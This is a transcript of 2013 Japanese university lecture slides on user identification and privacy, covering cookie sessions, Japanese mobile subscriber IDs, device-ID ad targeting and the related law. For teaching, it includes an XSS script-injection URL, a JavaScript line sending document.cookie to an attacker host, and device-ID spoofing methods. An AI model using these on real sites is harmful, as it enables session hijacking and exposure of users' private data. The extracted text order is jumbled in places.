Comments
Description
Transcript
利用者識別の技術と プライバシー影響
新潟大学法学部 夏期集中講義 2013年8月22日 • 自己紹介 独立行政法人 産業技術総合研究所 利用者識別の技術と プライバシー影響 • 産業技術総合研究所 セキュアシステム研究部門 高木 浩光 • • • セキュアシステム研究部門 旧 工業技術院 電子技術総合研究所 専門分野 • • • ∼1999年 並列分散処理（CPU設計、最適化コンパイラ） 2000年∼ 情報セキュリティ（脆弱性の問題の解決） 2003年∼ データプライバシーの問題 個人活動（自宅研究員） 1 目次 • • • 2 • • • • • • • • 技術編 インターネット通信の仕組み（超概略） 利用者識別の技術的基礎（高木） ログイン機能の仕組み セキュリティ上の欠陥の例 個人情報保護法（鈴木先生から） 日本のガラケー特有の方式 スマートフォンの場合 プライバシー影響のケーススタディ（高木） 何を脅威と想定するか 不正アクセス禁止法との関係 第三者cookieとは 3 4 • インターネット通信の仕組み • 「TCP」を使ってみよう • •• Webサイトへのログイン TCP: Transmission Control Protocol 接続して切るまで続けて使える1本の通信チャンネル • ログイン機能の仕組み 再送制御などが自動で行われる • • • • • • Webの通信はどうなっている？ • • • • TCP接続の束で構成されている まず .html ファイルをダウンロードしてブラウザで表示 その後ページに埋め込まれた画像をTCP接続で取りに行く これを埋め込まれた画像の数だけ同時並行に繰り返す IDとパスワードでログインする ログアウトするまで続く その間はどうなっている？ 「セッションID」と呼ばれる受付番号が使われる 受付番号はランダムで十分に長い文字列 その意味は？ 5 サーバ セッション管理表 ブラウザ 機能 • VISA:4980-XXXX-XXXX-XXXX (6) GET /card.cgi HTTP/1.1 Cookie: sid=7J3xdwWjIKs いらっしゃいませtakagi様 (5) GET / HTTP/1.1 Cookie: sid=7J3xdwWjIKs Set-Cookie: sid=7J3xdwWjIKs User=takagi Password=xxxxxxxx (1) 「Cookie」という機能 • ... (2) 7J3xdwWjIKs → takagi (3) 6 • • サーバが生成（発行）して、ブラウザに与えるもの ブラウザは、アクセスのたびに、与えられたcookieをサーバに渡す プロトコル上の具体的な実装 •• 発行 レスポンスヘッダに「Set-Cookie:」フィールドとしてサーバが応答 •• • 送信 Content-Type: text/html Set-Cookie: JSESSIONID=3a2d4276a8df77346feadc3442;path=/ リクエストヘッダに「Cookie:」フィールドとして送信 Cookie記憶表 • • (4) sid=7J3xdwWjIKs GET /index.html HTTP/1.1 Cookie: JSESSIONID=3a2d4276a8df77346feadc3442 これは telnetコマンドを使うなどして誰でも送信できる ... 7 8 • cookie発行時の観察事例 • 欠陥のパターン 誤ったセッション追跡方式でパスワードなしにログインされる • • 推測可能な値（ユーザ名など）によるセッション追跡 • 予測可能なセッションID セッションIDが漏洩してセッションハイジャックされる • • Cross-Site Scripting (XSS)脆弱性で漏洩 • SSL使用時にhttps:// http:// 混在サイトでcookieが漏洩 セッションに割り込まれる • CSRF (Cross-Site Request Forgeries) （または「Session • Riding」）攻撃 セッションを事前に固定される • Session Fixation 脆弱性 9 10 • 11 12 欠陥事例 ユーザIDだけからなるcookieでセッション追跡を実現し ていた事例 •• cookieはクライアント側から任意の値を自由に送信できる • このことが理解されていない 大手家電製品メーカ直営ショップ (2001年2月連絡) •• 観察された現象 ユーザ名「takagi」でアカウントを作成 ログイン時に発行されたcookieの内容が • • • • • mall-LoginUserID=takagi 発行されるcookieはこの一個だけ URLにセッションIDらしきものは含まれていない • リロード時に「情報を再送信しないと…」の確認が出ない • つまりPOSTメソッドではない 秘密情報を含まないcookieだけでセッション管理の疑い • 発生し得る被害 • サイバーセキュリティ会社のE-Mail配信サービス 登録されている個人情報の漏洩 • • • 機械的に短期間に大量に収集される クレジットカード番号を盗まれる • • • (2001年10月1日連絡) メールアドレスがそのままcookieに • ITプロフェッショナルのための情報サイト 偽の注文の発行 • • 他の事例 機械的に短期間に大量の発行 本物の注文と偽の注文の区別がつかない • • • (2001年10月24日連絡) 会員番号がそのままcookie、会員番号は連番 保険会社インターネット会員クラブ など • • • (2001年9月3日連絡) 会員番号がそのままcookie、会員番号は連番 大手ソフトウェア会社のユーザ登録変更画面 13 15 • • • (2002年2月連絡) ユーザIDがそのままcookieに のべ4百万人分と推定 14 16 欠陥のある例 u=takagi&pass=exz3kp6w 一般的な方法 u=takagi&pass=exz3kp6w 1 Set-Cookie: u=takagi Cookie: u=takagi Cookie: u=takagi 1 Set-Cookie: sid=de24c8626060 Cookie: sid=de24c8626060 2 Cookie: sid=de24c8626060 3 2 3 17 • セッションハイジャック クロスサイトスクリプティング • セッションIDが漏洩する Cross-Site Scripting (XSS) 脆弱性 • •• Referer: によるURLの流出 Cookieの漏洩 •• CERT/CCが2000年2月に勧告 CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests • Webサイト側のクロスサイトスクリプティング脆弱性によるもの ブラウザ側の欠陥によるもの • •• 危険性 パケット盗聴（SSLの使用を前提としている場合） cookieにsecure属性をセットしていない脆弱性 • 18 cookieが漏洩する セッションハイジャックされる セッションIDの窃用 偽のページ内容に摩り替えられる •• ブラウザからサーバへの送信を真似る • •• •• • アドレスバーのURLは本物なのにコンテンツはニセということが起こる 自分のブラウザにcookieを自力でセットする 自分のブラウザに、パラメタをセットしたHTMLを表示させて アクセスを継続 原因 • telnetなどで直接 TCPでHTTPを送信 19 • 動的なページのHTML生成プログラムで文字列出力時に、 「<」「>」「&」などの文字のエスケープ処理を怠っている 20 21 それがなぜ危険? • <input value= ここに値を埋め込む > • http://www.foo.ne.jp/search?key=<SCRIPT>…</SCRIPT> へのリンクがあったら…（これは罠） 値が 「 ><S>TEST</S>」 のとき 結果はこうなる 登場するのは三者 • • • • <input value= ><S>TEST</S> > 悪意ある者Aが仕掛けた罠 欠陥のあるサイトBへのリンク 罠を踏んでしまった被害者C Aの意思によって、Cは、サイトBのドメイン上で、スクリプト 本来はこうなるべき • <input value= "><S>TEST</S> > をCのブラウザ上で実行させられる • 原因となるプログラムミス • • • • • 悪意のサイトにもし • 22 Cookieの盗み出し例 • window.open( http://…/cgi? + escape(document.cookie)) 23 24 • 何を脅威と想定するか 当時の画面 2001年の事例 •• ある証券会社のWebアプリにXSS脆弱性の存在を指摘した ログイン状態を乗っ取られる（セッションハイジャックされる） • • • •• ただし、なりすまして株を発注される被害は起きないもの 株の取引操作には改めてパスワード入力が必要な設計だったため しかし、画面を盗み見られる（預かり証券一覧、取引明細、マイポー トフォリオ等の情報の画面）ものだった これに対する当該証券会社からの返事 • • 「プログラムの修正範囲を調査した上で対応する」 「以下の理由により、実際に被害が発生する確率が非常に小さいと考 えられるため、お客様への告知を行う予定はございません」 • • 60分間の無通信状態でセッションIDは無効となる セッションIDの盗用による個人の特定は不可能（顧客情報をWeb上で表示 していないため） 個人の特定ができなければ問題ない？ 25 当時の画面 26 盗み見られ得る画面（当時） 27 28 •• • 日本のガラケー特有の方式 契約者に固有のID これに対して返したお返事 これは、「個人を特定する情報（氏名など）を表示する機能が存在し ていない」という意味と理解しました。たしかに、無差別な攻撃であ ればそのとおり（個人の特定は不可能）ですが、次のシチュエーショ ンが考えられます。 1. Aが、その知人Bの取引情報を盗みたいという悪意を持ったとする。 •• • HTTPの送信ヘッダに挿入される（自動送信、ON/OFF設定） 2. AがBに、罠のURLを含む電子メールを送る。 3. Bが罠のURLにアクセスしてしまう。この結果CookieをAに盗まれ る。 4. Aは、盗み出したCookieはBのものであると明らかに判別できる。 5. Aは、盗み出したCookieを60分以内に使用して、Bの取引情報を入 • • • X-DCMGUID:（docomoの「iモードID」、2008年3月31日から） X-UP-SUBNO:（auの「EZ番号」） X-JPhone-UID:（SoftBankのユーザID） X-EM-UID:（EMOBILEのユーザID、2008年3月28日から） 端末に固有のID 手できる。 すなわち、個人の特定は可能です。 • • HTTPの送信ヘッダ User-Agent: に埋め込まれる 端末シリアル番号等 • • • docomoでは送信のその都度、確認ボタンが出る SoftBankでは自動送信、ON/OFF設定あり auにはこの機能がない 俗称「個体識別番号」 29 設定画面 (docomo) 30 設定画面 (au) 31 32 設定画面 (SoftBank) docomoの端末ID 33 Webサーバでの取得の例 34 • ID付与の方法 ゲートウェイでのHTTPリクエストヘッダの書き換え • • X-DCMGUID、X-JPhone-UID、X-EM-UID 電 話 G W X-DCMGUID:1234 サ バ 端末でHTTPリクエストヘッダに埋め込んで送信 35 • • 端末シリアル番号の場合（UserAgent: 中に埋め込む） X-Up-Subno（SSLで送信できる） 電 話 User-Agent: XXXX G W User-Agent: XXXX サ バ 36 • • • ケータイIDによる利用者認証 • 利用の広がり ケータイIDだけで利用者を同定する 公式サイトでは昔から使われていた パスワードのない、ユーザ名だけでのログインのようなもの なりすましログインの危険 • • • •• • ケータイIDは誰でも他人のものを入手可能（秘密情報でない） Webサイトさえ用意すれば入手できる • • PCからアクセス可能なら、任意のケータイIDを送信可能 一般サイトでも「かんたんログイン」 と称して普及 通常とられている対策 •• アクセス元をキャリアのゲートウェイに限定する • • IPアドレスで制限する この認証方式が安全なものと信じられている • パスワード登録を必要としないサービス 当初はキャリアのLAN内にWebサイトが置かれていた 後に公式サイトはインターネット上にも置かれるようになった パスワード入力を省略するため 「PCで実現できない強固なもの」「パスワードより安全」 37 • • • • • • 脆弱な実装 38 • あるべき実装方式 ケータイIDを利用者認証に使わない (1) アクセス元 IPアドレスをキャリアのゲートウェイに限定し ていない場合 •• (2) アクセス元の限定をキャリアを区別せずに一括して処理し、 HTTP cookieを用いて実装する IDの参照先をUser-Agent:ヘッダに頼って決定している場合 • (3) 端末固有IDを参照している場合 • セッションID（秘密情報）を生成して、cookieに格納してセッション 管理する 一般のPC、一般のインターネットでの基本的な実装方式 背景 (4) SSL接続で受信したIDを参照している場合 (5) アクセス元の限定の為に参照する各キャリアのGWのIPアド レスのリストが安全に更新されない場合 (6) 通信路上の攻撃者を想定してSSLの使用を必須とする場合 39 • • 「iモード2.0」が登場する2009年夏モデルより前まで、 docomoのiモードではcookieが使えなかった その状況で2008年3月に「iモードID」なる契約者固有IDの全 サイト自動送信が開始されたことで、脆弱な実装方式が爆発的 に普及した 40 • • スマートフォンの場合 • ガラケーが廃れてスマホへ移行中 そもそも不必要 端末識別番号が使えるようになっていた •• アプリにローカルなIDを使用すれば済む場合が多い 開発技術者の不勉強によるもの 複数アカウント登録防止用としても有効に機能しない UDID → 2012年から使用禁止へ MACアドレス • Android •• •• 端末IDの偽装（すり替え）を防ぐことは原理的に不可能 • スマホではガラケーと異なりキャリアのゲートウェイを通らないため なりすましを許すセキュリティ脆弱性となる IMEI, MACアドレス, Android_ID 端末識別番号の濫用が横行 • • •• • iPhone • 端末IDは使用しない セキュリティ上の問題の発生 プライバシー上の問題（午後で） • • 端末IDで利用者識別をしている場合、他人の端末IDの送信で、その 人になりすまして操作できてしまう欠陥となる • • 個人情報（履歴等のプライバシー情報）の漏洩、不正操作等の被害 他人に自分向けの行動ターゲティング広告を見られる被害 一般のPCでは使用してこなかった歴史 • 米国でも端末IDの使用は非難の対象 41 • 行動ターゲティング広告の脆弱性 端末IDによる広告の例 • 端末IDを用いた行動ターゲティングはやっちゃ駄目 •• • •• •• 42 mediba社による説明 他人の端末IDを送信すればその人向けの広告を盗み見れる 「ああ、あの人、こういうのが好きなんだ」 例【次ページ】、実証実験【次々ページ】 • MACアドレスを使うそうな（UDIDが禁止されたから？） 原理的に避けられない 端末IDをハッシュ値等に変換しても無駄 他の方法 端末内に独自のIDを乱数で記憶させアプリ間で共有する方法 •この案もバッドアイデア • • その場合はそもそも端末IDを使う必要がない（使うな） • 任意のアプリから使えるsuper cookieになってしまう 第三者cookieによるアドネットワークはそうはならない • cookieの内容は他のドメイン名サイトに漏れることがないから 43 44 • 端末IDによる広告の例 • MACアドレス入力によるオプトアウトの例 • 実証実験 AdMobもUDID（のMD5値）を使っている 入力された文字列をそのままSHA1で変換して送信 • UDIDを他の端末のものに差し替える実験 45 • 実験結果 46 • 不正アクセス禁止法との関係 他の端末で同じ属性情報が表示された（協力者による） 不正アクセス行為の定義 • 2条4項 この法律において「不正アクセス行為」とは、次の各号の いずれかに該当する行為をいう。 • • • 47 一 アクセス制御機能を有する特定電子計算機に電気通信回線を通じて当該ア クセス制御機能に係る他人の識別符号を入力して当該特定電子計算機を作動さ せ、当該アクセス制御機能により制限されている特定利用をし得る状態にさせ る行為（当該アクセス制御機能を付加したアクセス管理者がするもの及び当該 アクセス管理者又は当該識別符号に係る利用権者の承諾を得てするものを除 く。） 二 アクセス制御機能を有する特定電子計算機に電気通信回線を通じて当該ア クセス制御機能による特定利用の制限を免れることができる情報（識別符号で あるものを除く。）又は指令を入力して当該特定電子計算機を作動させ、その 制限されている特定利用をし得る状態にさせる行為（当該アクセス制御機能を 付加したアクセス管理者がするもの及び当該アクセス管理者の承諾を得てする ものを除く。次号において同じ。） 三 （略） 48 • 識別符号の定義 • 2条2項 この法律において「識別符号」とは、特定電子計算 機の特定利用をすることについて当該特定利用に係るアクセス 管理者の許諾を得た者（以下「利用権者」という。）及び当該 アクセス管理者（以下この項において「利用権者等」とい う。）に、当該アクセス管理者において当該利用権者等を他の 利用権者等と区別して識別することができるように付される符 号であって、次のいずれかに該当するもの又は次のいずれかに 該当する符号とその他の符号を組み合わせたものをいう。 • • • • 不正アクセス行為に当たらない？ 端末識別番号だけで制御されるシステムは不正アクセス 禁止法で保護されない •• 端末識別番号は2条2項の「識別符号」に該当しない • •• 利用権者を他の利用権者と区別するために付された符号ではないから みだりに第三者に知らせてはならないとされている符号ではないから そのシステムのそれは「アクセス制御機能」に該当しない 一 当該アクセス管理者によってその内容をみだりに第三者に知らせて はならないものとされている符号 •• 「アクセス制御機能」とは（略）入力された符号が当該特定利用に係 る識別符号（略）であることを確認して、当該特定利用の制限の全部又 は一部を解除するものをいう」（2条3項） 不正アクセス行為に該当しない 二 当該利用権者等の身体の全部若しくは一部の影像又は音声を用い て当該アクセス管理者が定める方法により作成される符号 三 当該利用権者等の署名を用いて当該アクセス管理者が定める方法 により作成される符号 禁止されているのは「アクセス制御機能」による利用の制限を免れる行 為（2条4項） 49 • マイナンバー法との関係 • 第一者cookie 国民等一人一人に唯一無二の「個人番号」を付番 •• • 閲覧中画面のサイト自身が発行するcookie 第三者cookie 懸念された問題点とその解決 なりすましが横行するのではないか •• 閲覧中画面に埋め込まれた別サイトコンテンツ発行のcookie 個人番号を本人確認の手段としない（16条） • • そのサイトしかそのcookieを取得できない アクセス解析、サイト内完結型行動ターゲティングには十分 • 主に納税者番号として用いられる •• cookieの種類 • 行政手続における特定の個人を識別するための番号の利 用等に関する法律（平成25年5月31日法律第27号） • • 50 前記cookieにユーザ名を入れる利用者識別方式の欠陥と同じ理屈 個人番号は、納税者番号として書類等に書かれて人々の目に触れる番号であ るから、秘密のIDではない • • プライバシーが侵害されるのではないか •• • • 別サイトコンテンツの例：広告画像、ビーコン画像等 その別サイトしかそのcookieを取得できない 広告ネットワーク型の行動ターゲティングに必要 スーパーcookie（仮称） 法定の行政手続の目的以外の利用を禁止（9条、15条、19条、20条） （後述） 51 •• すべてのサイトで共通に使える値 • 行動ターゲティングには不要 日本の「ケータイID」 52 Adネットワーク • • • • • 広告サーバ 何が個人情報なのか 特定の個人を識別する vs 個人を識別するが特定しない 第三者cookie 広告 asahi.com 広告 niconico.jp ケーススタディ 広告 miau.jp IDのサービス独立性とプライバシー影響 ケータイID問題の歴史的経緯 広告 日本における個人情報とデータプライバシーの乖離 yomiuri.co.jp • （別スライドファイル）http://www.cao.go.jp/consumer/ • history/01/kabusoshiki/kojin/doc/005_110413_shiryou3.pdf パーソナルデータ保護法制に向けた最近の動向 Webブラウザ • （別スライドファイル）http://www.jpgrid.org/event/2013/ ws39_takagi.pdf 53 何が個人情報か 54 • • 何が「個人情報」なのか 「個人情報」でなければ何をやってもよいという風潮 個人情報保護法の解釈問題 55 • • 個人識別性の有無の判断は提供元でなのか提供先でなのか オーディエンスデータエクスチェンジで問題が顕在化 56 • ひどいエピソード 飛騨市図書館 延滞者督促状データベース流出事件で •• 飛騨市発表文（2010年11月22日） •• • 「情報の内容：当館に登録されている利用者の情報の一部でデータの 内容は、利用者氏名（漢字）、利用者氏名（カタカナ）、住所、生年 月日、郵便番号等であった。」 出鱈目な解説 図書の書名も漏れたはずなのにそれが書かれていない 電話で取材したところ「書名も含まれている」 「なぜそれを書かないのか？」に対し図書館長曰く 「住所氏名等が個人情報だから」 •• • 住所氏名に紐付けられた書名自体は個人情報でないとでも？ 飛騨市個人情報保護条例での定義 個人に関する情報…であって、特定の個人が識別され、又は識別さ れ得るもの… 57 プライバシーマークがいう「個人情報」 氏名 住所 58 個人に関する情報 閲覧履歴など 個人情報 個人情報 個人情報保護法がいう「個人情報」 氏名 住所 閲覧履歴など 生存する個人に関するもの 氏名、生年月日その他の記述等により 特定の個人を識別することができるもの 個人情報 59 60 • 識別して個人を特定する • • • IDのサービス独立性 IDの空間的連続性（サービス独立性） 個人情報保護法「特定の個人を識別する…」 各個人情報保護法令の対象 • 識別するが個人を特定しない •• 独立性の高いID 特定の個人を識別することがなくても、何らかを識別 •• Webブラウザを識別、携帯電話端末を識別、契約利用者を識別 • 識別対象と個人とが事実上一対一対応したりする 識別手段 • cookieとして発行された乱数値、端末ID、RFID、MACアドレス等 個人を特定しないで識別したものが、後に、個人を特定するた めに使用（できる場合、できない場合） 独立性の低いID サービスA IDa サービスA サービスB IDb サービスB サービスC IDc … 特定可能性 • 独立性の低いID（共通ID）は、匿名前提で蓄積された属性情報 を、匿名でなくする危険性を高める 人 サービスC ID 人 … • 特定と識別 サービスZ IDz サービスZ 61 IDの時間的・空間的連続性 時間 長 住民票番号 （用途が限定的） 韓国住民登録番号※ amazonのID IPアドレス(固定) （自らの意思で公開） 第三者cookie （オプトアウトで許容） 広 個人が識別されるかに関係なく厳格に保護 個人情報保護法令 TwitterのID 狭 • • • • • • • • • 日本のプライバシー保護 通信の秘密 ケータイID （自らの意思で利用） 62 個人に関する情報のうち特定の個人が識別されるものの取扱い 欠けているもの 空間 個人を特定せず識別して蓄積されるプライバシー情報の保護 日本のプライバシー権 IPアドレス(ADSL) IPアドレス(PPPoE) セッションID (cookieの本来の用途) （他人に再割当される） 短 63 個々のプライバシー侵害事案に対する法的措置は可能 欠けているもの • 社会的信頼を確保する観点からの、個人を特定せず識別してプ ライバシー情報を蓄積するシステムに対する何らか 64 湯沢での講演 「日本のインターネットが終了する日」 65 • • • • テーマ（4年前） セキュリティ強化がプライバシーを犠牲にする プライバシーを犠牲にしないセキュリティ技術 共通IDの問題は日本だけ理解が遅れている ケータイWebは始まる前に終了した • • • なぜそうなったのか なぜ解決しないのか 日本のインターネットを終わらせないために 67 66 • • • • • • • • • • • • • • 歴史的経緯 1999年2月 NTTドコモがiモードを開始 • 1999年4月 IDOとDDI、TU-KAがEZaccessを開始（後にauのEZwebに統合） • 2000年3月 IDOのEZ番号が電話番号だと発覚、非難、報道され、別番号に修正 公式サイトに対してだけユーザIDを送信（料金回収代行用） すべてのWebサイトへ X-UP-SUBNO: を送信（後に「EZ番号」と命名） 2000年7月 郵政省研究会でKDDIのEZwebが問題にされる • 「次世代移動体通信システム上のビジネスモデルに関する研究会」 • 「モバイルコンテンツビジネスの環境整備の方策に関する研究会」 2001年1月 NTTドコモが503i以降の機種で端末ID送信開始（都度確認方式） 2001年4月 別の総務省研究会がEZwebを再び問題視 2001年6月 上記ビジネスモデル研究会報告書、パブコメ結果 2003年5月 個人情報保護法成立（2005年4月1日全面施行） 2004年4月 総務省「不当料金請求の新しい手口」注意喚起 2004年12月 国民生活センター「いきなり料金請求する手口」注意喚起 2005年4月14日 EZ番号が送信OFF設定可能に（それまでは常時送信） 2008年3月31日 NTTドコモがiモードID送信開始（全サイト、自動送信） 2009年6月 「iモード2.0」端末登場でcookieの利用が可能に（旧機種は不可） 2010年5月10日 KDDIがEZ番号の変更を不可能にシステム変更（非公表） 68 • 2001年の総務省研究会 「次世代移動体通信システム上のビジネスモデルに関する研 究会」報告書（総務省情報通信政策局情報通信政策課） • 第６章 ビジネスモデル発展に向けた情報の取扱いルールの確立 / 1 個人情報の取扱いルールの確立 / (1)個人情報の取扱いの現状 / 2 ユ ーザID提供 / (1) ルール整備の必要性 • • 一方、ユーザIDそれ単体では個人を特定することはできないものの、ユーザ情 報との紐付けを行うことで、悪意ある者がユーザの意向に反して個人情報を利 用してプライバシーを侵害することも技術的には難しくないようで、ユーザID を無差別に提供することの危険性も指摘されている。このような機能と特性を 持つユーザIDに関しては、NTTドコモやJ-フォンが自らが採択した「公式」サ イトのみにユーザIDを提供して いるのに対し101、KDDIでは全てのコンテンツ プロバイダに対して提供するなど、通信キャリア間で取扱いに差異があるのが 現状である。 脚註101: NTTドコモでは、守秘義務契約を締結の上、「公式」サイトにユー ザIDを開示している。J-フォンでは、「公式」サイトにのみ仕様開示している 送出要求に基づき、ユーザIDを開示している。 • 69 • 同研究会報告書案パブリックコメント提出意見 •• ジェイフォン東日本株式会社 提出意見 •• 70 「2. ユーザID について ユーザIDに関しては報告書（案）にも述べられているとおり、ユーザの プライバシーと密接な繋がりがあるため、その取り扱いについては十分 慎重であるべき。現在、ドコモやJ-フォンが公式サイトに限ってユーザ IDを提供しているのもそのためである。ユーザIDに強いセキュリティを かけることはキャリアとして今後も更に検討して行くべき事項だが、現 在のシステムを改善することによってサービス全体のコストが高くなり 「モバイルコンテンツビジネスの環境整備の方策に関する研究会」第4回会合 事務局資料「ユーザID、料金回収代行…評価システムの構築に向けて」 • I 問題の所在（要約） １ 個人情報保護法案の下では、通信キャリアがコンテンツプロバイダ等に利用者の個人情 報を、その「同意」なしに提供するなら原則として違法。 ２ ユーザIDが入手できれば、アンケート等の簡単な方法でデータベースを構築し、ユーザ IDを個人情報と連結してインターネット上の行動等を当人の知らないうちに追跡できる。 II リスクの説明責任（要約） １ 利用者の「同意」は、当該利用者が提供に伴うリスク等を理解し、承知した上で行われ るべきもの。少なくとも法令上そうみなされる手続き等が必要。 IV 評価システムの特徴（要約） すぎるのも、小額コンテンツを取り扱うと言う点からは現実的ではな い。 コンテンツ提供者自身はユーザIDを直接不当に利用するものではなく ても、獲得したユーザIDを他者に転売するなどして利益を稼ごうとす るものは存在しうるし、社員管理の徹底がなされていない企業では不 心得な社員による情報の流失も十分想定される。」 １ 日本のモバイルインターネットの一つの特徴は、米国や欧州と違ってソフトIDを電話番 号から生成して通信キャリア自身が安全と判断する者に対して提供する（ソフトIDを「公 式」サイトに限り提供する）方法が広く普及。 ２ 利用者からの「同意」を簡略化する一方で、個人情報の保護にも配意して対象を限定す る方法（NTTドコモ、J-フォンの場合。 KDDIは対象を限定していない）は、リテラシー の低い低年齢層をはじめインターネットに馴染みの薄い利用者への急速な普及を可能にし た一つの要因。 株式会社ジェイティービー 提出意見 ３ このような方法は、ひとたび社会的問題が発生すると、その責任追求が通信キャリアに 「Cookieの一部機能を利用できるような仕様として、次世代移動体通 信機能システムの仕様としての規定を検討していただきたい」 向かう構造でもある。責任の所在が曖昧なままで、少なくとも法的責任はないとする事業 者の認識と利用者の一般的な認識との間には大きなギャップが現存。 71 72 • 生じ得る問題 • プライバシー上の問題 • 欧米で問題視されるトラッキングcookie（第三者cookie）の プライバシー問題 • • • • • 行動ターゲティング広告への使用 対DoubleClick社集団訴訟では、cookieで付与したIDを、実際の住所氏 名と突き合わせしないこと等を条件に和解した オプトアウト手段の提供で一旦は容認された •• • そのIDが誰のものかが特定されてしまう問題 • • 実際に利用が始まっている（2008年4月以降活発化） 他の個人情報データベースとの突き合わせが可能 • 匿名で蓄積される「誰かの」嗜好情報が、将来、実はそれが誰だったかが、 特定されてしまうリスクがある これ対して、通常の（第三者cookieとアドネットワークによる）方式 （DoubleClick等に代表される方式）では、これが通常はできない • だから、欧米でもそれなりに許容されている（オプトアウト方式の受容） 不当料金請求（ワンクリック詐欺）への悪用 それでもなお問題視され続けている 大きな問題 •• 行動ターゲティング広告で利用するとハイリスク • 小さめの問題 • •• 第三者cookieでは通常それができるわけではないのに対して 欧米ではケータイIDが使われていないため問題になっていない 類似方式が現れるとボイコット運動になると予想される アクセスしただけで住所氏名電話番号等を特定され、不当な料金を請 求される •そもそも従来、支払いを先にするか、又は、自ら身元を明かすことに 請求を無視したときに少額訴訟を起こされた場合、どうなる？ よって取引は成立してきたのに、この慣行を破壊しているのでは 73 • 英語圏での批判 • 固有ID送信方式は常に批判され続けている • 74 何が問題か理解されていない 「cookieは問題だがケータイIDは問題じゃない」 とか言う人がいる 1999年、インテル Pentium III のプロセッサシリアル番号 (PSN) 問題 •• これは大間違い • •• • 2002年、Windows Media Player「一意のプレーヤーID」 •• 消費者団体がボイコット運動を展開 Intel社は、電子商取引に活用できますと宣伝していた 真逆 ケータイIDがもたらす問題 2007年の総務省「モバイルビジネス研究会」構想と類似 Intel社は計画を中止、この機能を廃止 •• cookieが もたらす問題 JavaScriptからアクセスできる事実がBugTraqで指摘されると、 Microsoftは即座にこの機能をデフォルトで無効化 •• 2003年、RFID個品レベルタグのAutoID Center構想 • 「欧米で問題にされているから問題なんだろう」という思考 プライバシー擁護団体がボイコット運動、欧米各地で その他各種製品の実装方式が常に監視されている 75 何が問題にされているのかまで理解せず、想像で思い込み • 「cookieに履歴が書き込まれてパソコンに残るから、それがウイルスに盗ま れたりするから問題なんでしょ」（あるIT専門法律家の発言から脚色）等 76 • 国民生活センターの不適切アドバイス 「あわてないで!! クリックしただけで、いきなり料金請求す る手口」, 2004年12月 http://www.kokusen.go.jp/soudan_now/click.html 「携帯電話から画像や動画のアダルトサイト等にアクセスし、何ら かの項目をクリックした場合に「あなたの個体識別番号は○○で す」「あなたのメールアドレス は△△です」などと、あたかも個人 情報を入手したかのような画面を表示し、料金を請求する事例が寄 せられています。」 「サイトアクセスしただけで契約者名等の情報が伝わることは絶対 にありません」 • • • • 請求を無視させたい意図はわかるがこれは間違い。「NO」ボタンを押すこと を推奨すべきなのに、それを怠り、「YESもNOも同じ画面に!」などと、YES を押してもよいかのような解説をしているのは不適切。 iモードIDの送信が始まった今となっては、もはや「NO」を押すこともできな くなったわけだが、問題の存在は周知しておくべき http://www.kokusen.go.jp/soudan_now/click_mobile.html の図より 77 78 • 79 80 2004年に確認された手口 spamメールで番号付きのURLにアクセスさせる •• 無差別に用意したメールアドレスにspam送信 メール中のURLに番号を付け、メールアドレスと紐付けて記録しておく URLにアクセスがあったら、URL中の番号からメールアドレスを特定 できるので、メールアドレスを画面に出すことができる （PCでも使われている手口） • • 無差別の電話番号にSMS（ショートメッセージ）をspam送信 •• • • メッセージ中のURLに番号を付け、電話番号と紐付けて記録しておく URLにアクセスがあったら、URL中の番号から電話番号を特定できる ので、電話番号を画面に出すことができる （問題が大きいため、URLを含むSMS受信の拒否が可能になった） • 今後起き得る手口 さらにケータイIDを紐付けると…… • • • • • 無差別に用意したメールアドレスにspam送信 メール中のURLに番号、メールアドレスと紐付けて記録 URLにアクセス、URL中の番号からメールアドレスを特定 そのアクセスで得たケータイIDをメールアドレスに紐付けてデ ータベース化、これを売買 さらには…… • • • 信用できるサイトと思って入力した、住所氏名や生年月日など が、ケータイIDに紐付けて売買される 買った方は、アクセスが来ただけでどこの誰が来たかわかる 新聞記者から聞いた話 • http://itpro.nikkeibp.co.jp/article/Keyword/20081007/316269/ 日経BP社 日経NETWORK「契約者固有IDとは」より 架空請求業者曰く「現状ではそこまでしなくても儲かる」 81 82 • • NTTドコモ曰く Q. ワンクリックサイトから架空の請求を受けたのですが、ケータイのメ ールアドレスから個人情報が漏れることはありますか？ [更新日] 2009年2月19日 [FAQ No.] 82513 A. ありません。 なお、ＵＲＬやｉモードサイト等をクリックすると、個人情報がわかる ような表現で個体識別番号が表示されます。個体識別番号とは、製造番 号や機種名などの携帯電話情報のことです。氏名、住所などの個人情報 ではありませんのでご安心下さい。 また、携帯電話情報は送信される前に必ず確認画面が表示されますの で、お客さまが承諾されないかぎり送信することはありません。 トラブルに巻き込まれないためにも、氏名、住所、メールアドレスなど の個人情報を安易に伝えないようご注意下さい。 http://otoiawase.nttdocomo.co.jp/PC/qa/?qa=82513&c1=10&c2=7&pg=2 より http://itpro.nikkeibp.co.jp/article/Keyword/20081007/316269/ 日経BP社 日経NETWORK「契約者固有IDとは」より 83 84 • 「個人情報を入手していると偽って請求行為を行うサイトについて」 • 出会い系サイトなどにおいて、サイトへのアクセス時に実際には取得して いない携帯電話の製造番号をあたかも取得したかのようにサイト上に表示 させ、利用料金の支払を促すサイトが確認されております。 ドコモのシステムにおいては、携帯電話の製造番号（略）が接続先に送信 • IP化の進展に対応した競争ルールの在り方に関する懇談会 される場合、必ず事前に確認画面が表示されますので、お客様がこれに承 諾されない限り、「携帯電話情報」が接続先に送信されることはありませ ん。また、お客様の承諾のもと「携帯電話情報」が送信されたとしても、 •• モバイルコンテンツフォーラム(MCF)の発言 「ユーザIDについては、メールアドレスが付随すれば個人情報となってしまうかグ レーであるが、認証情報自体が直ちに個人情報に該当するとはいえないのではない か。パソコンのクッキーの運用ガイドラインにおけるのと同様の扱いをすることも 可能ではないかと考える。」 • その中にはお客様の携帯電話番号、メールアドレス、住所、氏名など、お 客様の連絡先についての情報は含まれておらず、またドコモから開示する こともありません。なお、問題のサイトにおいて、携帯電話の機種名が正 しく表示されることがあります。これは、お客様の携帯電話の画面上に接 続先コンテンツを正しく表示するために通知している情報（以下「機種情 • 2006年度の総務省 ネットワークの中立性に関する懇談会 報」と呼びます。）を利用したものですが、機種情報にはサイト提供者が お客様個人を特定し得るような情報は含まれておりません。 http://www.nttdocomo.co.jp/info/safety/fictitious1.html より •• モバイルコンテンツフォーラム(MCF)のプレゼンテーション 「現在、携帯電話のコンテンツビジネスで主流になっている月額定額制のサブスク リプションモデルを実現するためには、簡易な認証で契約期間中の利用を認証する 事が必要条件。そのためにはユーザー識別システム（ユーザーID）の開放が必要で • 